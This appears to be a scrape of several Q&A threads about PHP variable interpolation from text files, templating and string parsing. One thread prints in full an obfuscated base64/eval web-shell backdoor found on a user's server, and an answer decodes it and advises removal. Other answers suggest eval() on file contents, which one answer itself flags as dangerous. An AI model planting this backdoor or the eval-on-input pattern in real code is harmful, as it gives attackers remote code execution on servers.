I'm localizing a website that I've built. I'm doing this by having a .lang file read and each line (syntax: key=string) is placed in a variable depending on the chosen language.
This array is then used to place the strings in the correct places.
The problem I'm having is that certain strings need to have hyperlinks in the middle of them for example someplace I've put my name that links to my contact page. Or a lot of the readouts of the website need to be in the strings.
To solve this I've defined a variable that holds the html + Forecaster + html,
and the localization file contains the $Forecaster variable in the string.
The problem with this as I promptly discovered is that it stubbornly refuses to parse the inline variables in the strings from the file.
Instead it prints the string and variable name as it looks in the file.
And I have yet to find a way to make it parse the variables.
For example "Heating up took $str_time" would be printed on the page exactly like that, instead of inputting the previously defined value of $str_time.
I currently use fopen() and fgets() to open and read the lines. I then explode them to separate the key and the string and then place these into the array.
Is there a way to make it parse the variables, or alternatively is there another way of reading the lines that allows for parsing the inline variables?
The code that gets the line and converts it to the array looks like this:
(It obviously loops through the lines)
#list($key, $string) = explode('=', $line);
$key = strtok($line, '=');
$string = strtok('=');
$local[$key] = $string;
$counter++;
echo $local[$key] . "<br>";
The counter is unused and the echo is for testing.
A line from the .lang file looks like this:
fuel.results.heatup.timeused=Heating up took $str_time
I would call the array where I want the string like this:
$local['fuel.results.heatup.timeused']
As you can see I've tried both explode and strtok but it hasn't made a difference.
Personally I'd write your text file in JSON format to make it easier to pull data out.
Here is a solution directly from the php manual: http://nz2.php.net/manual/en/function.eval.php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
It is worth noting that eval() can be very dangerous used in the wrong way so make sure you're code is very secure E.g. if someone altered your txt file with real PHP code they could execute it directly on the server.
Another approach would require you to know all your variable names and could then do something like:
$str = 'Heating up took $str_time';
echo 'str=' . str_replace('$str_time', $str_time, $str);
Or do this via an array:
$str = 'Heating up took $str_time as well as $other_value';
$vars = Array('str_time', 'other_value');
foreach($vars as $varName) {
$str = str_replace('$' . $varName, $$varName, $str);
}
echo 'str=' . $str;
If you not know all the variable name, you can use this example, without eval(). It is indicatred to avoid eval().
$str = 'fuel.results.heatup.timeused=Heating up took $str_time';
$str_time = 'value';
if(preg_match('/\$([a-z0-9_]+)/i', $str, $v)) {
$vname = $v[1];
$str = str_replace('$'.$vname, $$vname, $str);
}
echo $str; // fuel.results.heatup.timeused=Heating up took value
Related
<?php
$info = "Hi";
$file = fopen("file.txt","w");
fwrite($file,$info);
fclose($file);
?>
I am currently using the code above to write a value into a text file. However, is it possible to retrieve certain variables that are stored within that text file and just rewrite them instead?
Example:
file.txt
$one = "first";
$two = "second";
$three = "third";
Through PHP code, a specified "variable" in the text file should have its contents changed.
New file.txt
$one = "first";
$two = "hi";
$three = "third";
yes, you can use str_replace() to replace the variables with the data you like
$s_input = 'this is a #first text';
$a_repfr = array('#first', '#second', '#third');
$a_repto = array('funny', 'php', 'love');
$s_output = str_replace($a_repfr, $a_repto, $s_input);
If I understand you correctly, you have some PHP code written in a file, file.txt. If you have only stored variables, I believe you can get away with some regular expression to do what you want.
Nevertheless, for anything more complex (maybe even for this specific case), I would recommend that you use some PHP parser to parse all the variables and their values, and make your changes accordingly. (here's a PHP parser written in PHP).
EDIT:
Just to clear things up, a simple replacement will not suffice. Imagine you have something like $first = "a";, and then you decide to replace a, with \. A naive replacement, would leave you with $first = "\"; in your file.txt file.
Building a simple jQuery/PHP setup where for example the PHP will store 5 variables each containing a simple string. These variables are all separate and not in an array. The jQuery used is just a simple fadeIn/fadeOut function which fades out the 1st string and fades in the 2nd string. Got all that working.
However this is for a client who doesn't really even know what a variable is and has asked that the 5 strings be "changable" so I'm creating a seperate PHP file that contains the strings so that the client can just open that file and change the strings within there and possibly add/delete strings from the file.
What I want the php to do is "count" how many variables there are then echo each string depending on how many variables there are. Variables are named like so
$text_0 = "Its a sentence";
$text_1 = "Its another sentence";
$text_2 = "Its a final sentence";
so obviously need a for statement
for(i=0;i<WHATGOESHERE?;i++){
echo $text_[i];
}
Thanks for any help.
If you want it to be editable for a non techguy, then dont even use the variables as its to easy to forget a ; or a $ or whatever. Just create a plain text file and in PHP use it as an array.
An added bonus is that the none tech guy is not able to inject PHP code to your system.
file.txt:
Its a sentence
Its another sentence
Its a final sentence
show.php:
<?php
$lines = file('file.txt');
//below is just an example, obviously it should be your jquery code
foreach ($lines as $line_num => $line) {
echo "Line #<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />\n";
}
//length would be count($lines) and upper bound count($lines)-1
?>
Give this to your non-techie:
Its a sentence
Its another sentence
Its a final sentence
Convert it into an array with:
$sentences = file('sentences.txt', FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES);
Done.
<?php
$text_0 = 'a';
$text_1 = 'b';
$text_2 = 'c';
$vars = preg_grep('#^text_\d+$#', array_keys(get_defined_vars()));
var_dump($vars);
?>
It's better to create array $text..
I had this in my php file. looks like some malware but i want to know what does it means
what its doing
<?php //cb6f82f3e4007bdaccf419abafab94c8
$_=
//system file do not delete
'CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0=';
//system file do not delete
$__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));
Have a look at base64_decode.
$___ stands for base64_decode. Then $__ is base64_decode'd and evaluated, which executes the following:
$code = base64_decode($_);
eval($code);
Which finally executes this:
if(isset($_POST["code"]))
{
eval(base64_decode($_POST["code"]));
}
I would recommend you to delete it and check other files if they are infected, too.
eval — Evaluate a string as PHP code
Caution
The eval() language construct is very dangerous because it allows
execution of arbitrary PHP code. Its use thus is discouraged. If you
have carefully verified that there is no other option than to use this
construct, pay special attention not to pass any user provided data
into it without properly validating it beforehand.
A short Example:
<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>
Output
This is a $string with my $name in it.
This is a cup with my coffee in it.
I am trying to use a License PHP System…
I will like to show the status of their license to the users.
The license Server gives me this:
name=Service_Name;nextduedate=2013-02-25;status=Active
I need to have separated the data like this:
$name = “Service_Name”;
$nextduedate = “2013-02-25”;
$status = “Active”;
I have 2 days tring to resolve this problem with preg_match_all but i cant :(
This is basically a query string if you replace ; with &. You can try parse_str() like this:
$string = 'name=Service_Name;nextduedate=2013-02-25;status=Active';
parse_str(str_replace(';', '&', $string));
echo $name; // Service_Name
echo $nextduedate; // 2013-02-25
echo $status; // Active
This can rather simply be solved without regex. The use of explode() will help you.
$str = "name=Service_Name;nextduedate=2013-02-25;status=Active";
$split = explode(";", $str);
$structure = array();
foreach ($split as $element) {
$element = explode("=", $element);
$$element[0] = $element[1];
}
var_dump($name);
Though I urge you to use an array instead. Far more readable than inventing variables that didn't exist and are not explicitly declared.
It sounds like you just want to break the text down into separate lines along the semicolons, add a dollar sign at the front and then add spaces and quotes. I'm not sure you can do that in one step with a regular expression (or at least I don't want to think about what that regular expression would look like), but you can do it over multiple steps.
Use preg_split() to split the string into an array along the
semicolons.
Loop over the array.
Use str_replace to replace each '=' with ' = "'.
Use string concatenation to add a $ to the front and a "; to the end of each string.
That should work, assuming your data doesn't include quotes, equal signs, semicolons, etc. within the data. If it does, you'll have to figure out the parsing rules for that.
Would it be possible to make a regex that reads {variable} like <?php echo $variable ?> in PHP files?
Thanks
Remy
The PHP manual already provides a regular expression for variable names:
[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*
You just have to alter it to this:
\{[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\}
And you’re done.
Edit You should be aware that a simple sequential replacment of such occurrences as Ross proposed can cause some unwanted behavior when for example a substitution also contains such variables.
So you should better parse the code and replace those variables separately. An example:
$tokens = preg_split('/(\{[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\})/', $string, -1, PREG_SPLIT_DELIM_CAPTURE);
for ($i=1, $n=count($tokens); $i<$n; $i+=2) {
$name = substr($tokens[$i], 1, -1);
if (isset($variables[$name])) {
$tokens[$i] = $variables[$name];
} else {
// Error: variable missing
}
}
$string = implode('', $tokens);
It sounds like you're trying to do some template variable replacement ;)
I'd advise collecting your variables first, in an array for example, and then use something like:
// Variables are stored in $vars which is an array
foreach ($vars as $name => $value) {
$str = str_replace('{' . $name . '}', $value, $str);
}
{Not actually an answer, but need clarification}
Could you expand your question? Are you wanting to apply a regex to the contents of $variable?
The following line should replace all occurences of the string '{variable}' with the value of the global variable $variable:
$mystring = preg_replace_callback(
'/\{([a-zA-Z][\w\d]+)\}/',
create_function('$matches', 'return $GLOBALS[$matches[1]];'),
$mystring);
Edit: Replace the regex used here by the one mentioned by Gumbo to precisely catch all possible PHP variable names.
(in comments) i want to be able to type {variable}
instead of <?php echo $variable ?>
Primitive approach: You could use an external program (e.g. a Python script) to preprocess your files, making the following regex substitution:
"{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)}"
with
"<?php echo $\g<1> ?>"
Better approach: Write a macro in your IDE or code editor to automatically make the substitution for you.